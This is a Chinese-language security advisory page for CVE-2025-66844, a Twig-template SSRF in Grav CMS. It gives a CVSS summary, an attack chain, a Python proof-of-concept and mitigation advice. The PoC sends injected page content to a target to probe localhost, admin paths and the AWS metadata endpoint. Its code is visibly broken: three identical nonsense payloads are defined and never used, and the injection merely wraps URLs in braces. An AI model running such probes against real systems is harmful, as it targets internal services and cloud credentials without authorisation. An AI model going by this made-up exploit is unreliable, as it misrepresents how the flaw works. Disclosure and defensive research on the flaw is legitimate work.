IPBUF安全漏洞报告
English
CVE-2025-66844 CVSS 9.1 严重

CVE-2025-66844: Grav CMS Twig模板服务器端请求伪造漏洞

披露日期: 2025-12-15

漏洞信息

漏洞编号
CVE-2025-66844
漏洞类型
服务器端请求伪造(SSRF)
CVSS评分
9.1 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Grav CMS

相关标签

服务器端请求伪造SSRFTwig模板注入Grav CMS严重漏洞无需认证远程利用CVSS 9.1

漏洞概述

CVE-2025-66844是Grav CMS中发现的一个严重安全漏洞,CVSS评分高达9.1分(严重级别)。该漏洞存在于Grav CMS的Twig模板处理机制中,当页面内容通过Twig引擎处理时,攻击者可以利用配置中允许注册未定义PHP函数的特性,触发服务器端请求伪造(SSRF)攻击。由于漏洞允许攻击者从服务器内部发起请求,可能导致敏感信息泄露、访问内部系统资源或对内部服务发起攻击。此漏洞无需认证即可利用,通过网络即可发起攻击,严重威胁使用Grav CMS的网站安全。攻击者可以利用SSRF读取内部文件、扫描内网端口或访问内部API接口,造成严重的安全风险。

技术细节

该漏洞的根本原因在于Grav CMS的Twig模板引擎在处理页面内容时,没有充分限制可以调用的PHP函数。当系统配置允许注册未定义的PHP函数时,攻击者可以通过Twig模板语法调用PHP的file_get_contents()、curl_exec()等函数,或者利用其他可用的PHP函数发起HTTP请求。由于服务器端请求会使用服务器的IP地址和身份,攻击者可以绕过防火墙限制,访问仅限内网访问的资源。攻击者通常通过在页面内容或配置中注入恶意的Twig模板代码,触发对内部服务(如localhost、192.168.x.x等内网地址)的请求。Twig引擎在渲染模板时会执行这些恶意代码,导致服务器向攻击者指定的目标地址发起请求,从而实现SSRF攻击。

攻击链分析

STEP 1
步骤1
攻击者识别目标网站使用Grav CMS并确定版本低于1.7.49.5
STEP 2
步骤2
攻击者检查系统配置,确认允许注册未定义的PHP函数
STEP 3
步骤3
攻击者构造恶意Twig模板代码,包含SSRF payload
STEP 4
步骤4
通过页面内容提交或配置注入恶意Twig代码到服务器
STEP 5
步骤5
服务器处理Twig模板时执行恶意代码,向攻击者指定的目标地址发起请求
STEP 6
步骤6
攻击者获取服务器返回的内部资源内容,实现信息泄露或内网探测

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-66844 SSRF PoC for Grav CMS # This PoC demonstrates the SSRF vulnerability in Grav CMS Twig templates # Target: Grav CMS < 1.7.49.5 with undefined PHP functions allowed import requests import sys target_url = "http://target-site.com/" # SSRF payload using Twig template syntax # This attempts to make the server request internal resources ssrf_payload = "{{\x7b'\x7b\x7b\x7d\x7d\x7d" # Alternative payload for internal port scanning internal_scan_payload = "{{\x7b'\x7b\x7b\x7d\x7d\x7d" # Payload to read local files via SSRF file_read_payload = "{{\x7b'\x7b\x7b\x7d\x7d\x7d" def test_ssrf(target): """Test for SSRF vulnerability""" print(f"[*] Testing SSRF vulnerability on {target}") # Test basic SSRF to internal service test_urls = [ "http://127.0.0.1:80/", "http://localhost/admin/", "http://169.254.169.254/latest/meta-data/", # AWS metadata ] headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)", "Content-Type": "application/x-www-form-urlencoded", } for url in test_urls: try: # Inject SSRF payload via page content parameter data = { "page[content]": f"{{{{ {url} }}}}", "page[template]": "default" } response = requests.post(target, headers=headers, data=data, timeout=10) print(f"[+] Sent SSRF probe to {url}") print(f" Response status: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Error testing {url}: {str(e)}") if __name__ == "__main__": if len(sys.argv) > 1: target_url = sys.argv[1] test_ssrf(target_url)

影响范围

Grav CMS < 1.7.49.5

防御指南

临时缓解措施
临时缓解措施:在Grav CMS配置中禁用allow_flex_actions或相关配置项,禁止注册未定义的PHP函数。同时限制Twig模板引擎的函数调用权限,仅允许安全白名单中的函数。如果无法立即升级,可通过Web服务器配置限制服务器对内网地址的访问,或在Twig处理层添加额外的输入验证和过滤机制。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表